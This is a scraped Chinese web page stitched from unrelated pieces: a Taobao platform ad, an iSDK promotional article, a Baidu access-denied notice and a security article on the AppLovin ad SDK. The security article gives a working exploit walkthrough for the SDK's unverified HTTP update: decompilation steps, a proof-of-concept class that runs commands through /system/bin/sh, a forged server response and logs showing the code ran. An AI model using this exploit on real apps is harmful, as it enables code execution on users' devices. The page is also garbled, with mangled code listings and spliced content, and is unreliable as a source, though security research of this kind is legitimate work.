来源:蜘蛛抓取(WebSpider)
时间:2017-10-03 15:07
标签:
电力接入系统
淘宝开放平台 -
新业务&机会推荐:
开放1000余个API,覆盖电商、支付、LBS、数字娱乐、广告、健康等能力}
开放淘宝账号授权,链接超过3亿月活跃用户的强大购买力}
开放电商管理能力,支撑1000亿美元级市场的商家IT管理需求}
开放云能力,基于PC/无线业务提供差异化方案}
多端支持,覆盖智能手机,TvOS,车载平台等多个移动平台}
移动端SDK开放,实现电商导购、社区、账号绑定、支付等业务闭环}
真机测试服务开放,支持移动应用开发者快速低成本地调试}
全面支持移动创业,提供免费云资源、创业基础以及投资渠道等资源}
基于电商服务市场,为合作伙伴基于电商管理服务提供变现渠道}
基于阿里妈妈广告平台,为合作伙伴提供多元的盈利模式,最大化商业价值}
日支撑百亿级并发访问;高可靠,毫秒级延时的消息服务;并队列吞吐量可达上万/秒;完美支撑历年双11海量请求,保障亿级订单同步零漏单。
基础云环境
商家解决方案中心+云技术产品矩阵
云环境高可用、低成本
打造高可靠、高效率、低成本、高安全的应用环境
大数据处理--产品免费体验
云计算产品矩阵,应用部署和运维上的完整支持
商家/服务商解决方案中心
大数据处理、供应链、商家云存储及协同解决方案
丰富的IT应用
为广大商家提供丰富的IT应用,帮助商家提升业务处理效率和质量
TAE ( TaobaoAppengine )
服务端开发效率工具+云托管环境
超大集群,按需计算,系统扩容瞬间完成
提供发布系统,日志系统,告警监控,系统压测,支持运维全面可视化,工具化
全架构PAAS
支持复杂系统架构搭建,支持后台服务和存储服务,不再局限于传统PAAS的Web服务
防DDos等网络攻击,系统可用性99.95%iSDK逆势而出 反观其半年如何快速成长_新浪河北教育_新浪河北
iSDK逆势而出 反观其半年如何快速成长
来源:新浪河北日字号:|
2013年手游行业井喷式的爆发,无数的手游初创者涌入其中,他们单纯的认为这个“香饽饽”是任何一个人都能轻松瓜分的。然而随着近几年手游行业规则的不断规范与完善,在经过层层洗礼之后,无数还未站稳脚跟的手游初创者纷纷“滑胎”。在这个优胜劣汰的生存竞技赛中,一个新兴的产业“手游运营SDK”应运而生,并不断萌芽,让手游初创者再迎“春天”。
2017年初,一款真正意义上免费的手游运营SDK——iSDK,在整个手游运营SDK产业竞争最为激烈的情况下正式上线。iSDK自上线以来并不被业界人士看好,而更多的同行更是抱着看笑话的心态在期盼着iSDK走向绝境的那一天。然而直至今日,iSDK自上线以来已有半年时间有余,iSDK并未如同行们所愿在这个行业销声匿迹,而是以越来越好的势头不断前行。
据iSDK相关负责人称,iSDK自2017年初上线,已实现产品上线首发全渠道成功率达到90%,后续维护服务问题解决能力更是达到100%,并获得客户的一致认可和好评。据iSDK技术人员统计,目前iSDK服务的企业级客户中,有将近30%的客户都是从其他SDK平台转换而来。并且,iSDK上线至今,其业绩收入已进入持续增长的良好态势。
面对iSDK在短短半年时间所作出的惊人成绩,相信无数的业内人士在惊叹之余,也在质疑iSDK是以何种方式在业内快速成长并赢得客户青睐?
1.永久免费+一站式服务助力手游运营
提到“免费”这个话题,相信对于业内人来说早已是老生常谈。纵观整个SDK接入行业,打着“免费”旗号的SDK平台数不胜数,而真正做到从接入到技术支持,再到售后运维完全免费的平台却是少之又少。iSDK从客户签订协议的那一刻起,不论是公司注册、域名申请、文网文申请,还是技术层面上的手游运营平台搭建、渠道SDK定制、CPS推广联盟构建、
APP渠道端开发、后期运维服务等都是永久免费,并不会变相收取客户任何费用。
2.安全、稳定、高效让你运营无忧
对于客户而言,产品的质量尤为重要,即便是免费,如若产品质量不过关,相信也不会有人愿意使用。iSDK这款看似上线仅半年时间的产品,实则自研发到调试,再到试运营,已有三年之久,并在其自有游戏运营平台“爱上游戏”成功运营两年半以上,其稳定性不言而喻。同时,iSDK通过快速安装技术为客户独立部署服务器,所有用户数据都将掌握在客户自己手中。这样一来,客户便可以无忧的享受iSDK提供的安全、稳定、高效的服务。
3.完善的售后服务解决客户的后顾之忧
iSDK不仅能为客户节省大量的金钱、时间和人力成本,同时还能为客户解决后期运维服务成本,这便是iSDK最值得一提的售后服务。iSDK除了日常的系统更新外,还单独组建了针对售后应急的团队,对于客户在后期所遇到的任何技术问题,他们都将以最快的效率为其解决,并在24小时内观察后续情况。
手游行业的发展日新月异,短短半年有无数的“新星”在此崛起,也有无数的“老人”与这个行业挥手阔别。iSDK之所以能在短时间内,在这个瞬息万变的行业生存下来,定不是仅靠一丝侥幸,更多的是靠产品的品质和优质化服务,以此赢得客户的认可。
文章转载自:/jykx/news/73.html
24小时排行
一位监考老师的吐槽:虽然只监考了两场,但哥已经憋出内伤了...
据说 吃货 都不会 挂科。。。因为 吃货 太重,挂不住...拒绝访问 |
| 百度云加速
请打开cookies.
此网站 () 的管理员禁止了您的访问。原因是您的访问包含了非浏览器特征(3a80d27cd4073a82-ua98).
重新安装浏览器,或使用别的浏览器比特客户端
您的位置:
详解大数据
详解大数据
详解大数据
详解大数据
安 全 分 析
关键字:SDK安全 应用安全
第三方sdk的包括广告、支付、统计、社交、推送,地图等类别,是广告商、支付公司、社交、推送平台,地图服务商等第三方服务公司为了便于应用开发人员使用其提供的服务而开发的工具包,了一些复杂的逻辑实现以及请求,响应解析的API,由于其使用的广泛性,一旦出现问题并且被利用,其影响范围之广,危害之大不言而喻。
SDK的安全问题
首先,一些恶意的Sdk本身会存在着安全威胁,除了众所周知的获取用户隐私,如收集设备id(IMEI,IMSI等)、获取用户位置信息外,还存在着更严重的安全问题。比如某些sdk具有主动接收指令的功能,它会根据需要收集短信、通话记录和联系人等敏感信息。另外,它还会执行如动态下载代码等危险操作。
其次,Sdk自身可能还会存在漏洞。如果这些漏洞被利用,攻击者就能够利用sdk本身存在的强大功能发动恶意的攻击行为,例如在用户毫无察觉的情况下打开相机拍照,通过发送短信盗取双因素认证令牌,或将设备变成僵尸的一部分。
下面介绍下目前在第三方sdk(主要是指广告sdk)中发现的恶意行为和漏洞。
恶意行为
收集用于定位和追踪用户的信息,如设备id和位置信息,
收集用户的邮箱地址以及安装在用户设备上的应用程序列表。
读取短信、邮件、电话通话记录和联系人列表,在没有任何访问控制措施的情况下通过web服务公开共享这些。
接收远程服务器指令,下载任意代码并执行。
数据明文传输
通过明文传输数据
通过HTTP明文传输用户的隐私信息,使隐私信息很容易被窃取。FireEye 的研究者声称在的主流应用中有47%的广告sdk存在该漏洞。
使用HTTP协议传输数据
使用不安全的HTTP协议从控制服务器接收命令或者动态加载代码。攻击者可以通过中间人攻击,劫持HTTP数据包,冒充服务器下发恶意指令、推送,将第三方sdk变成一个僵尸网络。
攻击者有许多方法来利用sdk的漏洞。比如劫持公共:当受害者的设备连接到公共WiFi热点(在咖啡店或机场等),攻击者可以在监听AppLovin广告sdk的数据包、注入恶意指令和代码。
攻击者也可以通过DNS劫持的方式来达到利用漏洞的目的。在DNS劫持攻击中,攻击者可以修改sdk广告服务器的DNS记录,把访问者重定向到攻击者自己的控制服务器,以便从受害者设备上收集隐私信息或者发送恶意控制指令到受害者设备上。
Webview漏洞
WebView相当于一个窗口,应用程序可以使用它来显示网页内容。addJavascriptInterface这个API允许运行在WebView中的JavaScript代码来访问应用的native功能。攻击者可以利用此漏洞,使用应用已有的权限,通过恶意的JavaScript代码来对设备进行恶意操作。这个漏洞已经影响到超过90%的设备了。
为了降低安全风险,从Android 4.2开始,增加了一个叫做@JavascriptInterface的注解,开发人员可以使用它来定义需要暴露给WebView中的JavaScript代码的函数。这实质上是一个白名单机制,让开发者决定什么函数是允许被调用的。
然而添加 @JavascriptInterface注解只是在理论上降低了风险,其实际效用依赖于开发者如何使用它。另外,开发人员还可以添加代码,以便JavaScript调用任何应用暴露出来的函数(触发这些行为)都需要获得用户的许可。
使用动态加载的方式进行升级
采用运行时动态加载技术在Dalvik虚拟机中动态执行代码作为其升级机制的一部分,却没有对动态加载的代码进行校验。如果该部分代码被黑客恶意篡改,则会给用户造成严重的安全威胁。
有些sdk本身具有危险行为,同时又存在漏洞,这种特性我们称之为“vulnaggressive”。这种特性并不局限于广告sdk,其它第三方组件和应用程序也存在。如果一个sdk具有“vulnaggressive”特性,则会使Android用户,尤其是用户面临严重的安全威胁。AppLovin广告sdk就是一个实例。
AppLovin的恶意威胁
AppLovin广告sdk的恶意行为表现在收集用户的敏感数据,嵌入了按需执行危险操作的功能,该sdk本身存在着严重的漏洞,使应用容易遭受攻击者。攻击者利用sdk的漏洞,同时利用sdk本身的恶意行为,攻击者可以在用户的设备上下载并执行任意代码。然而使用这些第三方sdk的应用开发人员往往不知道其中存在的安全风险,从而给企业用户造成严重威胁。
在我们的研究中发现,许多包含AppLovin广告sdk的Android应用具有强大的权限,它们可以控制摄像机;读写短信、历史通话记录、联系人、浏览器历史记录和书签;并在桌面上创建快捷方式。
攻击者可以利用这些权限进行恶意操作。比如:
通过短信窃取双因素认证令牌
在SD卡上查看照片和其他文件
在桌面上安装图标用于钓鱼攻击
删除文件和销毁历史数据
冒充老板发送伪造的业务短信给商业伙伴
在没有通知用户的情况下删除接收到的短信
拨打电话
在没有通知用户的情况下使用相机拍照
读取书签或者将它们指向钓鱼网站
尽管AppLovin广告sdk造成了严重的威胁,但因其具有隐蔽性,所以更加防不胜防:
AppLovin广告sdk通过HTTP头字段的数据编码,而不是HTTP响应体从广告服务器接收命令。
AppLovin广告sdk的代码被混淆,这使得使用传统的分析方法变得困难。
AppLovin广告sdk的行为难以用传统的分析方法来触发。例如,在一种流行的游中,AppLovin广告sdk仅在游戏中某些点执行,比如说达到游戏中的特定级别。当AppLovin广告sdk执行的时候,用户可见的唯一影响是在屏幕顶部的广告(如下图所示)。然而,AppLovin广告sdk却在背后悄悄执行其危险行为。
AppLovin广告sdk的屏幕截图
AppLovin漏洞剖析
AppLovin广告sdk5.0.3版本的升级机制存在漏洞。该广告sdk采用运行时动态加载技术在Dalvik虚拟机中动态执行代码作为其升级机制的一部分。
该广告sdk会定期的通过http协议以明文方式与进行数据传输。发送以下请求:
5GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
User-Agent: Dalvik/1.6.0 (; U; Android 4.3; sdk Build/JWR66V)
Connection: Keep-Alive
Accept-Encoding: gzip
然后服务端将进行响应,如果有更新,就把一个包含了要更新的sdk的文件下载到应用目录下一个叫“app_al_sdk”的文件夹中:
/data/data//app_al_sdk/.jar
当应用再次运行的时候,AppLovin广告library就会 检测这个目录下是否存在更新的jar 包 ,如果存在则将该jar包中的dex文件解压出来替换/data/data//al_outdex文件,这样dex中的com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类就会被动态加载,其中的startUpdateDownload方法也将会被调用。
从源代码可以得知,当一个包含AppLovin广告sdk的应用启动后,一个‘’进程就会启动(由于反编译的关系,也可能是‘bootstrap’进程、‘boostrap’进程)。如下所示,com.applovin.impl.bootstrap包中的UpdateSDK类负责发送更新请求和处理服务器响应:
131package com.applovin.impl.
7 class UpdateSDK extends Thread {
9 private final C
11 public UpdateSDK(SdkBoostrapTasksImpl arg2, Context arg3) {
13 this.a = arg2;
15 super();
17 this.b = arg3;
19 this.setName("AppLovinUpdateThread");
23 public void run() {
25 SharedPreferences$Editor v0_3;
27 String SdkU
29 int ResponseC
31 StringB
33 SharedPreferences BootstrapSettings = this.b.getSharedPreferences("applovin.sdk.boostrap", 0);
35 String CheckSum = BootstrapSettings.getString("version", "");
37 if(CheckSum == null || CheckSum.length() & 1) {
39 CheckSum = "5.0.3";
43 InputStream ResponseStream =
45 try {
47 SdkBoostrapTasksImpl.a(this.a, "Checking for an update for the SDK interface: 5.0.0, implementation: "
49 + CheckSum + "...");
51 uri = new StringBuffer(GetUpdateUri.a(this.b));
53 uri.append("?").append("interface").append("=").append("5.0.0"); // ?interface=5.0.0
55 uri.append("&").append("implementation").append("=").append(CheckSum); // ?interface=5.0.0&implementation=5.0.3
57 URLConnection RequestObject = new URL(uri.toString()).openConnection();
59 ((HttpURLConnection)RequestObject).setRequestMethod("GET");
61 ((HttpURLConnection)RequestObject).setConnectTimeout(20000);
63 ((HttpURLConnection)RequestObject).setReadTimeout(20000);
65 ((HttpURLConnection)RequestObject).setDefaultUseCaches(false);
67 ((HttpURLConnection)RequestObject).setAllowUserInteraction(false);
69 ((HttpURLConnection)RequestObject).setUseCaches(false);
71 ((HttpURLConnection)RequestObject).setInstanceFollowRedirects(true);
73 ((HttpURLConnection)RequestObject).setDoInput(true);
75 ResponseCode = ((HttpURLConnection)RequestObject).getResponseCode();
77 String SDKFileName = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation"); // filename?
79 String SdkImpCheckSum = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation-Checksum");
81 SdkUpdateinterval = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Update-Interval");
83 String AppLovinEventID = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Event-ID");
85 SdkBoostrapTasksImpl.a(this.a, "Auto-update info: {code: " + ResponseCode + ", " + "eventId: "
87 + AppLovinEventID + ", " + "fileName: " + SDKFileName + ", " + "checksum: " + SdkImpCheckSum
89 + ", " + "interval: " + SdkUpdateinterval + "}");
91 if(ResponseCode == 200) {
93 if(SDKFileName != null && SDKFileName.length() & 0) {
95 File SdkUpdateFile = new File(this.b.getDir("al_sdk", 0), SDKFileName);
97 ResponseStream = ((HttpURLConnection)RequestObject).getInputStream();
99 CheckSum = SdkBoostrapTasksImpl.a(ResponseStream, SdkUpdateFile);
101 if(CheckSum != null && (CheckSum.equals(SdkImpCheckSum))) {
103 SharedPreferences$Editor v3_2 = BootstrapSettings.edit();
105 v3_2.putString("version", SDKFileName);
107 v3_2.putString("interface", "5.0.0");
109 v3_2.putString("ServerEventId", AppLovinEventID);
111 v3_2.putString("ServerChecksum", CheckSum);
113 mit();
115 SdkBoostrapTasksImpl.a(this.a, "New update processed: " + SDKFileName);
117 goto label_130;
121 SdkBoostrapTasksImpl.a(this.a, "SDK update checksum does not match. Expected " +
123 SdkImpCheckSum + ", but got " + CheckSum);
125 goto label_130;
129 SdkBoostrapTasksImpl.a(this.a, "Unable to receive SDK update: " + uri + " has not returend a file name");
上述代码从"applovin.sdk.boostrap"配置文件中读取一个版本号作为checksum,然后构造和发送以下请求:
5GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
User-Agent: Dalvik/1.6.0 (L U; Android 4.3; sdk Build/JWR66V)
Connection: Keep-Alive
Accept-Encoding: gzip
然后对接收到的以下服务器响应信息进行处理:
151 HTTP/1.1 200
3 Server: nginx
5 Date: Mon, 21 Oct :20 GMT
7 Content-Type: text/html
9 Connection: keep-alive
11 Vary: Accept-Encoding
13 Cache-Control: no-store, no-cache, must-revalidate
15 AppLovin-Sdk-Update-Interval: 10 16 17 AppLovin-Sdk-Next-Update-Time: 10 18 19 AppLovin-Sdk-Implementation: 5.0.3.jar 20 21 AppLovin-Sdk-Implementation-Checksum: a9e5f7c98ab3f1dc9ecab25f15ef09e25d5bce28 22 23 AppLovin-Event-ID:
25 Content-Length: 1660
服务器会返回以上的响应信息,这些数据被写入到一个文件(文件名为AppLovin-Sdk-Implementation头的值,实际为一个jar包)中,同时会产生一个SHA1 哈希值与AppLovin-Sdk-Implementation-Checksum头的值进行匹配。响应头中其它信息如 AppLovin-Sdk-Update-Interval头 和 AppLovin-Sdk-Next-Update-Time头被写入到一个配置文件中以控制下次应用的更新时间间隔。
当应用再次启动时bootstrap进程初始化的流程就不同了。这个时候com.applovin.sdk.bootstrap包中的SdkBootstrap 类会从配置文件中读取这些值,如果发现这些值不匹配则不会通过控制器去启动更。否则就去检查app_al_sdk目录下是否存在jar文件并与配置文件中的版本值相匹配,匹配则将jar包中的classess.dex文件解压到app_al_outdex文件夹中。
551 package com.applovin.sdk.
7 public class SdkBootstrap {
13 private void BootstrapSdkClassLoaderInit(Context AppContext) {
15 this.VerboseLogging = AppLovinSdkUtils.isVerboseLoggingEnabled(AppContext);
17 SharedPreferences bootstrapPref = AppContext.getSharedPreferences("applovin.sdk.boostrap", 0
21 String versionVal = bootstrapPref.getString("version", "");
23 String interfaceVal = bootstrapPref.getString("interface", "");
25 if(versionVal.length() &= 0 || !"5.0.0".equals(interfaceVal)) {
27 this.disable();
31 else {
33 File FileNameParam1 = new File(AppContext.getDir("al_sdk", 0), versionVal);
35 if((FileNameParam1.exists()) && FileNameParam1.length() & 0) {
37 this.ThisClassLoader = new SdkClassLoader(FileNameParam1, AppContext.getDir("al_outdex"
39 , 0), SdkBootstrap.class.getClassLoader());
41 goto checkForU
45 this.Log_("SDK implementation file " + versionVal + " has no content, using default implementation"
49 this.disable();
在com.applovin.sdk.bootstrap.SdkClassLoader类中SdkClassLoader 方法被调用:
211 package com.applovin.sdk.
7 public class SdkClassLoader extends DexClassLoader {
9 public SdkClassLoader(File FileNameParam, File DirectoryNameParam, ClassLoader ClassLoaderObject
11 ) {
13 super(FileNameParam.getAbsolutePath(), DirectoryNameParam.getAbsolutePath(), null, ClassLoaderObject
类加载器对象加载classes.dex,并作为参数从checkForUpdates方法中传递到loadImplementation方法中:
291 package com.applovin.sdk.
7 public class SdkBootstrap {
13 public void checkForUpdates()
17 if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d))
21 SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class);
23 if (localSdkBoostrapTasks != null)
25 localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext());
loadImplementation 方法如下:
311 package com.applovin.impl.
7 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
13 try
17 String str1 = paramClass.getSimpleName();
19 String str2 = paramClass.getPackage().getName();
21 String str3 = str2.substring(1 + str2.lastIndexOf('.'));
23 String str4 = "com.applovin.impl." + str3 + "." + str1 + "Impl";
25 a("Loading " + str4 + "...");
27 Object localObject = paramClass.cast(this.e.loadClass(str4).newInstance());
29 return localO
这个方法从提供的classes.dex文件中加载com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类并且返回一个对象(即localSdkBoostrapTasks)给checkForUpdates方法,checkForUpdates方法再通过返回的这个对象调用startUpdateDownload方法。
171 public void checkForUpdates()
5 if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d))
9 SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class);
11 if (localSdkBoostrapTasks != null)
13 localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext());
SdkBoostrapTasksImpl 类中startUpdateDownload 方法原型如下:
291 package com.applovin.impl.
7 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
13 public void startUpdateDownload(Context paramContext)
17 this.a = AppLovinSdkUtils.isVerboseLoggingEnabled(paramContext);
19 SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("applovin.sdk.boostrap", 0);
21 long l1 = System.currentTimeMillis();
23 long l2 = localSharedPreferences.getLong("NextAutoupdateTime", 0L);
25 if ((l2 == 0L) || (l1 & l2))
27 new b(this, paramContext).start();
攻击者可以通过 重新实现 com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类中的startUpdateDownload 方法 构造一个恶意的sdk更新。为了达到这个目的,需要对包含有漏洞的AppLovin sdk应用进行反编译。
$ unzip VulnerableApp.apk
利用dex2jar将解压后得到的classes.dex文件反编译成jar包:
$ dex2jar.sh classes.dex
创建一个eclipse工程,将工程Properties设置为“Is Library”(在工程右击-properties-Android最下面,有个Is library,选择后-apply确定,表示此工程可以公开给别的工程使用),然后将上一步得到的classes_dex2jar.jar文件复制到lib目录下。
$ cp classes-dex2jar.jar ~/eclipse-workspace/MWRAppLovin/libs/
接下来创建com.applovin.impl.bootstrap包和SdkBoostrapTasksImpl类,PoC如下:
831 package com.applovin.impl.
3 import java.io.BufferedW
5 import java.io.IOE
7 import java.io.OutputStreamW
9 import android.content.C
11 import android..E
13 import android.util.L
15 import com.applovin.sdk.bootstrap.SdkBoostrapT
17 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
19 public SdkBoostrapTasksImpl() {
21 super();
25 @Override
27 public void startUpdateDownload(Context AppContextParam) {
29 AppContextParam.getApplicationContext();
31 Log.i("[mwr]", "startUpdateDownload ― running our injected code");
33 String path = Environment.getExternalStorageDirectory().getPath();
35 String[] commands = {
37 "echo -e \"--[mwr]--\" & " + path + "/mwr.txt\n",
39 "id && " + path + "/mwr.txt\n"
43 execCommands(commands);
47 public Boolean execCommands(String... command) {
49 Runtime rtime = Runtime.getRuntime();
51 Process child =
53 try {
55 child = rtime.exec("/system/bin/sh");
57 } catch (IOException e1) {
61 BufferedWriter outCommand = new BufferedWriter(new OutputStreamWriter(child.getOutputStream()));
63 try {
65 for(int i = 0; i & command. i++) {
67 Log.i("[mwr]", "execCommands ― executing " + command[i]);
69 outCommand.write(command[i]);
71 outCommand.flush();
75 } catch (IOException e) {
上面的PoC会将当前用户id写入sd卡的mwr.txt文件中。如果这个lib库已经被编译成jar包,则必须用dx将其重打包为dex。
$ dx --dex --output=mwr_applovin_sdk.jar mwrapplovin.jar
(注:dx --dex --output=target.jar origin.jar 首先将origin.jar编译成origin.dex文件(Android虚拟机认识的字节码文件),然后再将origin.dex文件压缩成target.jar)
然后攻击者需要伪造服务器对客户端更新请求的响应并且发送恶意sdk更新,同时需要生成恶意jar包的checksum(sha1哈希):
$ shasum mwr_applovin_sdk.jar860ba30a8a6fadfb92
一个伪造的响应如下所示:
151 HTTP/1.1 200
3 Server: nginx
5 Date: Mon, 21 Oct :20 GMT
7 Content-Type: text/html
9 Connection: keep-alive
11 Vary: Accept-Encoding
13 Cache-Control: no-store, no-cache, must-revalidate
15 AppLovin-Sdk-Update-Interval:
AppLovin-Sdk-Next-Update-Time:
AppLovin-Sdk-Implementation: mwr_applovin_sdk.jar 20 21 AppLovin-Sdk-Implementation-Checksum: 860ba30a8a6fadfb92 22 23 AppLovin-Event-ID:
25 Content-Length:
用logcat查看广告插件的日志信息,从相关event可知恶意jar文件已经被下载:
11 I/AppLovinSdk( 742): [Boostrap] Auto-update info: {code: 200, eventId: 123456, fileName: mwr_applovin_sdk.jar, checksum: 860ba30a8a6fadfb92, interval: 10} 2 3 I/AppLovinSdk( 742): [Boostrap] New update processed: mwr_applovin_sdk.jar 4 5 I/AppLovinSdk( 742): [Boostrap] Next update is at: "3"
下述log信息表明当应用再次启动的时候,从jar包中释放出了dex文件并且恶意代码已经执行:
51 /dalvikvm( 3280): DexOpt: --- BEGIN 'mwr_applovin_sdk.jar' (bootstrap=0) ---
3 D/dalvikvm( 2949): GC_FOR_ALLOC freed 0K, 3% free 5K, paused 156ms, total 156ms
5 D/dalvikvm( 3398): DexOpt: load 41ms, verify+opt 15ms, 80116 bytes 6 7 D/dalvikvm( 3280): DexOpt: --- END 'mwr_applovin_sdk.jar' (success) --- 8 9 D/dalvikvm( 3280): DEX prep '/data/data//app_al_sdk/mwr_applovin_sdk.jar': unzip in 0ms, rewrite 286ms 10 11 I/AppLovinSdk( 3280): [Boostrap] Loading com.applovin.impl.bootstrap.SdkBoostrapTasksImpl... 12 13 D/AppLovinSdk( 3280): Loading SDK implementation class: com.applovin.impl.bootstrap.SdkBoostrapTasksImpl 14 15 I/[mwr] ( 3280): startUpdateDownload ― running our injected code 16 17 I/[mwr] ( 3280): execCommands ― executing echo -e "--[mwr]--" && /mnt/sdcard/mwr.txt 18 19 I/[mwr] ( 3280): execCommands ― executing id && /mnt/sdcard/mwr.txt
adb命令表明执行很成功:
71 $ adb shell
3 root@generic:/ # cat /mnt/sdcard/mwr.txt
5 --[mwr]--
7 uid=1) gid=1) groups=1006(camera),1015(sdcard_rw),1028(sdcard_r),3003(inet),50048(all_a48)
相关文章:
[ 责任编辑:小石潭记 ]
去年,手机江湖里的竞争格局还是…
甲骨文的云战略已经完成第一阶段…
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯,最新的软件技巧,最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中,与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊!
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧,帮助网管答疑解惑,成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一,主要关注x86服务器,RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析,让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来,为读者提供企业存储领域高质量的原创内容,及时、全面的资讯、技术、方案以及案例文章,力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设,为企业级用户打造最具商业价值的信息沟通平台,并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比,比特安全周刊运作模式更加独立,对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事,为企业级用户打造重点突出,可读性强,商业价值高的信息共享平台;同时为互联网、IT业界及通信厂商提供一条精准快捷,渗透力强,覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展,全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托,汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台,并持续提供丰富的资讯和服务,探讨信息化建设,推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来,以定向、分众、整合的商业模式,为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容,包括IT新闻、评论、专家答疑、技巧和白皮书。此外,IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊,给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍,同时用户还能参与我们推荐的互动游戏,给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte